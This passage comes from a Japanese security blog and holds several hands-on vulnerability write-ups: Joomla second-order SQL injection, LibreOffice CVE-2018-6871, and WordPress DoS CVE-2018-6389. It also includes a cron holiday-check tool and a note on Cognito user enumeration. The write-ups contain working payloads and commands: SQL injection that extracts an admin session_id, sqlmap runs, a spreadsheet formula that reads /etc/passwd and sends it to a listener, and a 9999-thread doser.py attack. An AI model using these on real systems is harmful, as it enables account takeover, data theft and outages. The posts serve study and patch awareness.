| params                                                                                                        |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                               |
| {"admin_style":["AND sleep(5);--"],"admin_language":"","language":"","editor":"","helpsite":"","timezone":""} |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

今回はクエリの結果が画面に表示されたりはしませんが、エラーメッセージが表示されます。 なので extractvalue を使って欲しいデータを出力します。 詳細は以下を参照して下さい。

d.hatena.ne.jp

sessionテーブルに各ユーザの session_id が格納されているので、"Super Users"の session_id を狙います。 これはログイン中にのみレコードが存在するようなので、今回はシークレットウィンドウで"super"でログインしてから試しています。

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

こんな感じで session テーブルから "super" ユーザのsession_idをSELECTしています。 リクエストとしては以下です。

------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))

f:id:knqyf263:20180213134651p:plain

無事に "super" ユーザの session_id が表示できました。 あとはこれを使えばSuper Users権限で好きに操作可能です。

発見者のページには以下のようにあったので、Super Users権限ならPHPの任意コードが実行可能になるようです。

By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.

サラッと流しましたが、ここで一つ気になることがあるかと思います。 session テーブルと言いましたが、実際は qpqau_session テーブルです。 これはJoomla!のインストール時にランダムなprefixを付けるように設定したためです。 これは同じDBに複数のJoomla!をインストールしたい場合に有用なようです。 SQL Injectionがあった時のセキュリティ対策という記述も見かけたのですが、テーブル名のdumpは出来ることが多いので効果は薄めじゃないのかなーと思いました。

ということで、テーブル名を先に抜き出す必要があるな...などと考えていたのですが、どうやらその必要はないようです。 Joomla!のDBのprefixに関するドキュメントを見て下さい。

Database Table Prefix - Joomla! Documentation

Extension developers need to use the string #__ to represent the prefix. This will be replaced by the real prefix during runtime by Joomla.

prefixに #__ を使うと、置き換えてくれると書いてあるようです。 試しに以下のリクエストを投げてみたところ、普通に成功しました。

extractvalue(0x0a,concat(0x0a,(select session_id from #__session where username='super')))

どうやら、prefixがSQL Injection緩和策に役立つことはなさそうです。 ということで無事に攻撃成功したので終わりです。

ちなみにテーブル名の抜き出しも一応検証しておこうということで、以下のようなリクエストも試してみました。

extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() and table_name like '%session')))

f:id:knqyf263:20180213140205p:plain

#__session が返ってきました。SQL Injectionが楽で便利。

sqlmap

これも解説記事に載っていたのですが、sqlmapはSecond Order SQL Injectionにも使えるようです。 今回の脆弱性を自動で見つけてくれるかは分からないのですが、ある程度パラメータなどの形を与えることでdumpなどは自動でやってくれるようです。 具体的には以下のような形。

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

この * のところがsqlmapにとってマーカの役割を果たし、ここをsqlmapが勝手に変更してSQL Injectionしてくれます。 あとはPOSTのリクエスト全体をテキストファイルで保存して、 admin_style のところを配列に変えて上記の値を入れてあげればsqlmapの準備は完了です。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

sqlmapはgit cloneして持ってくれば良いです。 -r でテキストファイルを読み込んでくれるので、以下のコマンドを実行します。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --tables

バックエンドはMySQLと分かっており、DB名も joomla と分かっているのでその辺りは時間短縮のために指定しています。 そして --second-order で、Second Order SQL Injectionが実際に発動するURLを指定しています。 これは保存する場所と保存された値が利用される場所が違うためですね。 結果は以下のようになり、テーブル名が取得できています。

f:id:knqyf263:20180213141031p:plain

ついでにsession_idも抜き出しましょう。 --dump を指定してみます。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --dump

f:id:knqyf263:20180213141451p:plain

カラム名が取得できない、と言われています。 この理由は特に調べてないです。 #__session は実際に存在しないテーブル名なので(実際は qpqau_session)、そのあたりが影響しているのかもしれません。

カラム名が分からない場合、良くあるカラム名で取得を試みてくれるようです。 sqlmapが以下にカラム名の辞書を持っていました。

sqlmap/common-columns.txt at 47bbcf90ea292e17e0c2a472ccc625a7989e9c16 · sqlmapproject/sqlmap · GitHub

Joomla!カラム名は既知で、今回はsession_idが欲しいだけなのでsession_idとだけ書いた辞書を保存しました。 defaultの辞書にもsession_idは含まれていたので、時間はかかりますが抜き出せます。

$ cat txt/joomla.txt
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission

session_id

先程同様に --dump を付けて実行します。 customを指定して自分で作った辞書を指定します。

[10:16:04] [INFO] fetching columns for table '#__session' in database 'joomla'
[10:16:04] [WARNING] unable to retrieve column names for table '#__session' in database 'joomla'
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/Users/teppei/src/github.com/sqlmapproject/sqlmap/txt/common-columns.txt' (press Enter)
[2] custom
> 2
what's the custom common columns file location?
> txt/joomla.txt
[10:16:13] [INFO] checking column existence using items from 'txt/joomla.txt'
[10:16:13] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[10:16:15] [WARNING] running in a single-thread mode. This could take a while
[10:16:15] [INFO] retrieved: session_id
[10:17:16] [INFO] fetching entries for table '#__session' in database 'joomla'
[10:17:16] [INFO] used SQL query returns 1 entries
[10:17:18] [INFO] retrieved: 61dd526b2b88c9eed275c09bf3be87f1

session_idが抜き出せているのがわかります。 sqlmap使うと実際の抜き出しは楽で良いですね。

まとめ

Joomla!は触ったことないので勉強がてら触ってみました。 Second Order SQL Injectionは実際にあるのを見ると面白いですね。 POSTでarrayにする、というのはすぐに思いつかないとダメ。 原理として知っているのと、実際に検証するのでは身につく度合いが全然違うかなと思います。

あとJoomla!のコードを読む際に、ジャンプできないことが多くて読むのかなり大変でした(なので合っているか自信がない)。 PHPとかは皆さんどうやってコードリーディングしてるんでしょうか。 ctagsやPhpStormのデフォルト設定では全然無理でした。

LibreOfficeの脆弱性(CVE-2018-6871) について調べてみた

休日ということでgolangを触ったことのないブラジル人からのIssueに対応したりして過ごしていたのですが、無事解決してめっちゃ感謝されるなどしてました。

github.com

この人がいつか誰かにこの恩を返して世界が平和になると良いですね(良い話)。 対応の過程でgoreleaserのバグを見つけて直そうかなと奮闘していたのですが、ちょっと疲れてニュースとか見てたらLibreOffice脆弱性(CVE-2018-6871)が話題になっていました。

github.com

リモートから任意のファイルが盗めるぞ!という話っぽいです。 Microsoft Officeを持っておらずLibreOffice使っている自分としては、少し調べてみたい気持ちになったので試してみました。LibreOfficeも年に2,3回しか起動しませんが。

概要

結論から言うと、外部にHTTPリクエストを飛ばす関数で"file://"とかするとローカルファイルが読めちゃうっていう良くあるやつでした。 原理としてはいつものやつね〜って感じで終わりだと思いますが、試してみると恐ろしく簡単に成功し、かつファイル開く時に何の警告も出ないので下手するとファイル盗まれても気づかないです。 クリックしただけで死ぬので怖くてLibreOfficeのファイル開けなくなりました。

6.0.1.1に上げたら成功しなくなったので、LibreOffice使ってる人は速やかにアップデートすることをおすすめします。 5.4.5/6.0.1より前のバージョンは影響あるらしいです。 (WEBSERVICE関数がサポートされたあとのバージョンに影響ありそうだから下限ある気がするのですが、今のところそういう情報は出てなかったです)

大事なことなのでもう一度言いますが、LibreOfficeを使っている人は早くアップデートしたほうが良いと思います

詳細

MicrosoftExcel 2013からWEBSERVICEという関数が追加されたらしいです(Excel使わないので全然知らない)。 support.office.com

これはインターネット(やイントラネット)上にあるデータをGETで取得してセル上に表示してくれる関数のようです。 以下のように書くとレスポンスのデータを表示してくれます。

=WEBSERVICE(“http://mywebservice.com/serviceEndpoint?searchString=Excel”) 

これはFILTERXML関数を使うことで、XMLをHTTPで取得し欲しいデータを取り出すような処理が想定されているとのことです。 以下はFILTERXMLと組み合わせた例(上のGitHubに載ってたやつ)。

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

先程のMicrosoftのドキュメントに以下のようにあります。

For protocols that aren’t supported, such as ftp:// or file://, WEBSERVICE returns the #VALUE! error value.

ftp://file:// などのサポートされてないプロトコルの場合はエラーを返すようです。 しかし、LibreOfficeにはこの制限がなかった、ということです。 そのため、ローカルファイルなどを好きに読み込めてしまいます。

ローカルファイルの読み込み

先程の発見者のページに以下のような例が載っていました。簡単ですね。。

=WEBSERVICE("/etc/passwd")

これは実際試してみたのでGIFを貼っておきます。 発見者がPoCを既にがっつり公開してますし絶対悪用される脆弱性な気がするので、いかに危険かを知ってもらって早くアップデートしてもらうのが重要かなと思っています。

f:id:knqyf263:20180210230327g:plain

見てもらえば分かりますが書いてある通り、特に何のひねりもなく成功します。

外部への送信

あとはこれを適当にGETのクエリパラメータに入れちゃえば好きなところに送れます。 以下は発見者による例です。

=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

一応これもGIF貼っておきます。 f:id:knqyf263:20180210231150g:plain

右でWEBSERVICE関数を入力したら左にリクエスト飛んできたって感じです。 GETリクエストのところにファイルの内容が入っています。

影響のあるOS

GNU/Linux, MS Windows, macOSなど全てのOSと書いてあります。 少し気になることがあって、MicrosoftWEBSERVICEドキュメントには以下のように書いてあります。

NOTE: This function may appear in the function gallery in Excel for Mac, but it relies on features of the Windows operating system, so it will not return results on Mac.

Macでは使えないよって書いてあるように見えます。なのでLibreOfficeMacでは影響ないのかなーと思ってMacで試したのですが普通に成功しました。LibreOfficeWEBSERVICEは違う方法で実装されて使えちゃったんですかね。不運。

影響のあるファイル形式

まず、Libre Calcは影響があり、発見者が公開しているようにfodsフォーマットは影響があります。また、odsフォーマットを開いても実行されました。xlsxも一応試してみたら成功したので、攻撃者がExcelファイルをメールで送ってきてLibreOfficeで開くと発動するということですね。

また、LibreOffice Calc以外でもcalcオブジェクトの埋め込みを使えば発動するようです。なのでCalcじゃないから安全ということではないとのこと。

怖い点

  • ファイル開いた時に警告とか出ない
  • ファイル開くだけでリクエストが飛ぶ

Microsoft OfficeではWEBSERVICE関数はデフォルトで有効ではなく、自分で有効にしないと使えないようです。マクロととかと同様ですかね。

ですが、LibreOfficeはデフォルトで使えました。特に自分は特殊な設定してないので、他の人も同じのはず。 そのため、ファイル開いただけでリクエストが飛びました。一旦保存したファイルを再度開いてもキャッシュ?があるのかリクエストは飛びませんでしたが、複製してから開いたら開くと同時にリクエストが飛びました。 開くだけで実行されて警告も出ないので、それっぽいファイルに偽装されたら絶対気づけないですね。

自分のMac環境では上記のような結果になりましたが、他のOSや環境だと異なる結果になるかもしれないです。

よく分かってないこと

上記GitHub上のFirst partを試して、ファイルオープン時に発動して怖っ!となって満足したのですが、実はSecond partもありました。 セルのタイプを~errorなどにすると...とありますが表計算ソフトよく分かってないので理解できませんでした。 ココらへんはExcelのプロが教えてくれることを期待してます。

まとめ

内容読んで試すまで10分ぐらいあれば出来るような脆弱性でした。 単純でかつ影響度が大きすぎるので、可及的速やかにアップデートしたほうが良いです。

WordPressのDoS (CVE-2018-6389) について調べてみた

概要

CVE-2018-6389が出ていました。 WordPressDoSとのこと。
正直WordPress周りに使ってる人いないのですが、簡単な話だったので調べてみました。

最初にまとめておくと、JavascriptCSSを読み込む機能を悪用し大量の読み込みをリクエストすることでDoSになります。 そして重要なのは、このDoSWordPress脆弱性として認めておらず公式のパッチがリリースされていません(2018/02/07時点)。
なのでゼロデイの脆弱性になるかと思います。 昨日リリースされた 4.9.3で試したのですが、やはり再現するようでした。 発見者から修正が公開されているので、対応される場合はそちらを参照されるとよいかと思います。

脆弱性詳細

以下のリンクに全て書いてあります。以上。 baraktawily.blogspot.jp

ですがせっかく読んだので、少しまとめます。ざっとしか読んでないので間違ってたらそっと指摘して下さい。

WordPressには load-scripts.php というファイルが存在し、これは以下のように load[] パラメータを受け取ります。
https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

この場合は jquery-ui-core を指定しており、レスポンスではJavascriptのモジュールである jQuery UI Core が返ってきます。

f:id:knqyf263:20180207095215p:plain

つまり、jsやcssのファイルを複数ロードする機能を提供しているようです。これを使うことで1リクエストで一気に複数ファイルをロードできるので、効率的なのかなと思います。

このloadにはカンマ区切りで複数の値を渡せます。 コード的には以下のあたり。

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

ただしuniqueされているので、以下のように jquery-ui-core を複数渡そうとしても1つになります。
https://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

実際にjsのモジュールを読み込む処理は以下の辺りですが、 array_key_exists でkeyの存在有無を確認しています。 つまり、 load[] に適当な文字列を渡したりしても読み込んでくれないということです。

foreach ( $load as $handle ) {
    if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
        continue;
    }
    $path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
    $out .= get_file( $path ) . "\n";
}

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

この $wp_scripts はどこで作られているかというと、以下の辺りです。

/**
 * Register all WordPress scripts.
 *
 * Localizes some of them.
 * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
 * when last arg === 1 queues the script for the footer
 *
 * @since 2.6.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_scripts( &$scripts ) {

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

先ほどの jquery-ui-core も以下にあります。

// full jQuery UI
$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );
$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

予め定義されたものしか読み込まないのだから安全!ということで終わりそうなものですが、発見者が調べたところこのリストに値は181個あったそうです。 そこで、181個のモジュールを要求するようなリクエストを投げてみたとのこと。単にカンマで繋ぐだけですね。 その結果、同時に181のI/Oが走り1リクエストを処理するのに2.2秒かかったとのこと。

1リクエストではサーバが落ちるところまでは行かなかったが、同時に多数のリクエストを投げたらどうか?ということで自作ツールである doser.py を使って9999スレッドでリクエストを投げたところ、500リクエストぐらいで応答がなくなり502/503/504 などのエラーになってしまったそうです。

発見者によるPoCの動画もあります。ただ、大したことやってないので自分で試したほうが速い気がします。 www.youtube.com

そしてこの攻撃のポイントは、認証が不要ということです。 load-scripts.php 自体は wp-admin の下にあるのでadmin権限がないと読み込まれないようにも見えますが、adminのログインページでも読み込まれるため実は認証不要で実行することが可能です。

試してみる

以下に置いておきました。

github.com

WordPressの起動

docker-composeで起動するように docker-compose.yml が書かれているので、以下のコマンドを打つだけです。

$ docker-compose up -d

ブラウザで確認

http://localhost:8000
言語選択とか出てますが、何も設定しなくても攻撃可能なので何もいじらなくて良いです。

攻撃する

単に並列にリクエスト投げられればよいだけなので、ツールはなんでも良いです。 今回はdeser.py を使ったのでダウンロードしてから使います。

$ python doser.py -g 'http://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

この状態で再度ブラウザで確認するとアクセスできなくなっているかと思います。

対策

概要でも述べたように、発見者がWordPressに報告したところ脆弱性として認められず、サーバやネットワークで軽減可能な類いなものと回答されたようです。 そこで、発見者はWordPressをforkして独自にpatchを当てたものを公開しています。
管理者のみが load-scripts.php を実行できるようにする変更のようです(多分)。 github.com

ですが、このforkは今後のアップデートに追従しないでしょうし、こっちを使うのは現実的ではない気がします。 既存のWordPressにpatchを当てるためのbashスクリプトも公開しているので、こちらを使うほうがまだ良い気がします(試していないですが)。 WordPress/wp-dos-patch.sh at master · Quitten/WordPress · GitHub

しかしこの方法も今後のアップデート時に困りそうですし、十分にテストされてない可能性もあるのでWAFなどで頑張るのが現実的でしょうか。

Impervaによる解説は以下です。2要素認証を入れたりレートリミットを入れる方法なども挙げられています。 www.imperva.com

※2018/02/14追記 /wp-admin/以下にBasid/Digest認証かけるとか、IPアドレス制限かけるとかの意見も出ているようでした。そういったことができそうな環境であれば、そちらを試してみても良さそうです。

まとめ

大量にファイルを読み込ませるだけの単純な攻撃ですが、認証不要でパッチもないということで影響大きい気がします。 画一的な対応が難しそうなので、影響度を考慮して各自で対応を取る感じになるかと思います。

cronで祝日判定するためのコマンドを作った

概要

cronで営業日だけ動かしたいコマンドとかある時に、いちいちプログラム書くのも面倒だったので、 && とかで繋いで簡単に判定するためのコマンドを作りました。
rpmdebもあるので、簡単にインストールして利用可能です。

営業時間に1時間ごとに動かしたい場合は以下のような感じ。

00 9-18 * * 1-5 holiday_jp-go || command

github.com

経緯

GitHubでレビュワーとしてアサインされてるのにレビューし忘れる場合が多くて、もう1時間に1回レビューしてないPRを通知したろ!ということでcronを仕込みました(そもそもレビュー忘れとか皆さんはどうやって解決してるんですかね...?)。
で、自分は休日もPRとか作ってしれっとアサインするんですが、営業日になったら通知して欲しくて例によって祝日判定をしたくなりました。
そういう時にcronで || とか && で繋いで判定するコマンド標準であるだろ〜と思って調べたら意外と見つからなかったです。
祝日判定も他の人がどうやってるのか知りたいです。

唯一自分のニーズに合ったものを見つけたのですが、Pythonでした。
GitHub - emasaka/jpholidayp: Is it holiday today in Japan?

最近Goばかり書いている自分は、pipとかでインストールするのも面倒に感じるほど脳が後退しているので、ワンバイナリでサーバにシュッと置きたいなーと思ってGoで書きました。
あとCentOS 6とか作ってるとPython 2.6だったりして色々面倒で、真面目に使う時はvenvとかも使いますがちょっとしたサーバに入れるならやっぱりrpmとかで入れたいよなーと思ってます。

実装

祝日自体は以下のholiday_jpのyamlを使わせていただきました。
GitHub - holiday-jp/holiday_jp: Japanese holiday datasets

ファイルとしてサーバにYAML置くのも嫌だったので、 go-assets 使ってバイナリに埋め込みました。
なので本当にバイナリを1つだけ置けば動きます。

ただ、もちろんお気付きの通り祝日が変わると対応できないです。
ネットワーク経由で取ってきてキャッシュして、定期的にアクセスして更新して〜とやった方が厳密なのは分かるのですが、そこまでシビアな用途じゃなかったのでポータビリティ性を重視してAssetにしました。 祝日変わったらバイナリをアップデートする感じでいいかなと思っています。
逆に祝日判定を間違ったら死ぬようなシビアな用途では使えない感じになってます。 YAMLには2050年の祝日まであるので、期間が問題になることはないかなと。

30分ぐらいで作ったのでコードも50行ぐらいしかないです。
何かおかしかったら直します。

インストール

READMEに書いたとおりです。

RedHat, CentOS

$ sudo rpm -ivh https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.rpm

Debian, Ubuntu

$ wget https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.deb
$ sudo dpkg -i holiday_jp-go_0.0.1_linux_amd64.deb

その他

以下からバイナリをダウンロード Releases · knqyf263/holiday_jp-go · GitHub

挙動

実行しても特に何も出力されないですが、終了ステータスで判定できます。

0: holiday
1: not holiday
2: error

土日または祝日の場合は0(成功)になります。

crontabなどで使う想定です。
祝日だけに実行したい場合

holiday_jp-go && some-command

営業日だけに実行したい場合

holiday_jp-go || some-command

まとめ

バイナリ置くだけでcronなどで使える祝日判定コマンドを作りました。
祝日の更新は自動で追従しないので(元号変わって祝日変わったりとか)、シビアな用途では使えないです(更新機能必要な人がいればPR待ってます)。
ただ、企業の特別な休みとかに対応できないので、そういうのも休日と判定したいニーズとかあるかもなーと作った後に思いました。

Cognitoを使うとログインID(メールアドレス等)が存在するかどうか判別可能になる

概要

タイトルに書いた以上のことはないのですが、Amazon Cognitoではログイン時のエラーで、ログインIDが存在する場合と存在しない場合が判別可能になります。
知らずに使い始めて、あとで困る人がいると良くないなと思ったので一応書いておきます。

詳細

CognitoはIDaaSとして利用でき、自分でID/PWを管理する必要がなくなるので非常に便利です。
自分で実装すると、パスワードにソルト付けてハッシュ化して...など考えることは多いです。
しかしCognitoを使えばそういう悩みから開放されるため、今開発してるサービスでも利用しています。

ログイン

CognitoはJavascriptから利用する事が多いかと思いますが、awsが提供しているSDKがあるため普通であればこちらを利用するかと思います。 GitHub - aws/amazon-cognito-identity-js: Amazon Cognito Identity SDK for JavaScript

ドキュメントを読むとUse case 4に以下のようなコードがあります。

  var authenticationData = {
        Username : 'username',
        Password : 'password',
    };
    var authenticationDetails = new AWSCognito.CognitoIdentityServiceProvider.AuthenticationDetails(authenticationData);
    var poolData = {
        UserPoolId : '...', // Your user pool id here
        ClientId : '...' // Your client id here
    };
    var userPool = new AWSCognito.CognitoIdentityServiceProvider.CognitoUserPool(poolData);
    var userData = {
        Username : 'username',
        Pool : userPool
    };
    var cognitoUser = new AWSCognito.CognitoIdentityServiceProvider.CognitoUser(userData);
    cognitoUser.authenticateUser(authenticationDetails, {
        onSuccess: function (result) {
            console.log('access token + ' + result.getAccessToken().getJwtToken());

            //POTENTIAL: Region needs to be set if not already set previously elsewhere.
            AWS.config.region = '<region>';

            AWS.config.credentials = new AWS.CognitoIdentityCredentials({
                IdentityPoolId : '...', // your identity pool id here
                Logins : {
                    // Change the key below according to the specific region your user pool is in.
                    'cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>' : result.getIdToken().getJwtToken()
                }
            });
            
            //refreshes credentials using AWS.CognitoIdentity.getCredentialsForIdentity()
            AWS.config.credentials.refresh((error) => {
                if (error) {
                     console.error(error);
                } else {
                     // Instantiate aws sdk service objects now that the credentials have been updated.
                     // example: var s3 = new AWS.S3();
                     console.log('Successfully logged!');
                }
            });
        },

        onFailure: function(err) {
            alert(err);
        },

    });

このauthenticateUserで認証をしています。
Web画面で言うとログイン画面で呼ばれることになるかと思います。

authenticateUser

ではこのauthenticateUserの中を見てみます。

github.com

ここの行を見るとAPIとしては initiateAuth を使っているようです(真面目に読んでないので間違っていたらすみません)

initiateAuth

initiateAuthについてはドキュメントがあるので、以下を確認してみます。

docs.aws.amazon.com

そうするとErrorsという項目があり、多くのエラーが定義されていることが分かります。
エラーを見ていくと、NotAuthorizedExceptionという項目があると思います。

説明を見ると、認証失敗時のエラーのようです。

NotAuthorizedException

This exception is thrown when a user is not authorized.
HTTP Status Code: 400

さらにドキュメントを読んでいくと、UserNotFoundExceptionという項目があります。 説明を読むと、名前から分かる通りユーザが存在しない場合に返されるエラーのようです。

UserNotFoundException

This exception is thrown when a user is not found.
HTTP Status Code: 400

ということで、Javascriptに返されるエラーからユーザが存在する場合と存在しない場合の判別が可能になります。

ユーザが存在するかどうか、というのは不必要情報にあたります。

メールアドレスの登録チェックが、余計なお世話に?:星野君のWebアプリほのぼの改造計画(8) - @IT

Cognitoではメールアドレスでのログインも可能なので、その場合はサービスに登録済みのメールアドレスか判別可能になってしまいます。

メールアドレスが登録済みか判別可能、というのは脆弱性診断をすると指摘項目になっていることも多いのですが、Cognitoを使っていると指摘されることになります。

スライドの通りログインIDが公開されているようなサイトの場合は気にしなくて良いかと思いますが、メールアドレスをログインIDとして使っていたり、他人に登録していることを知られたくないようなサイトの場合は問題になるかと思います。

www.slideshare.net

経緯

何とか設定で出来ないのかと思いサポートに問い合わせさせていただいたところ、「以前は分かれていなかったが、ユーザから判別したいという要望が多かったためエラーを分けた」とのことでした。
歴史的な背景でエラーが分かれたようです。

今も議論されているようで、GitHub Issueから確認できます。

github.com

緩和策

ということで現時点では設定でエラーを統一などすることは出来ないようです。
緩和策としてはサポートにも確認させて頂きましたが、サービスユーザに見せるエラーメッセージを統一するぐらいしかなさそうです。
通信を見ればどちらのエラーか判別可能なのでほとんど意味は無いのですが、ライト層にはほんの少し分かりにくくなるかな、という感じです。

まとめ

現時点ではCognitoはログインIDの存在有無を判別可能です。
メールアドレスなどをログインIDとして使ったりなど、判別されると困るケースではCognitoだと要件を満たさない可能性があります。
自分は知らずに使っていて、あとで少し困ったので誰かの助けになればと思います。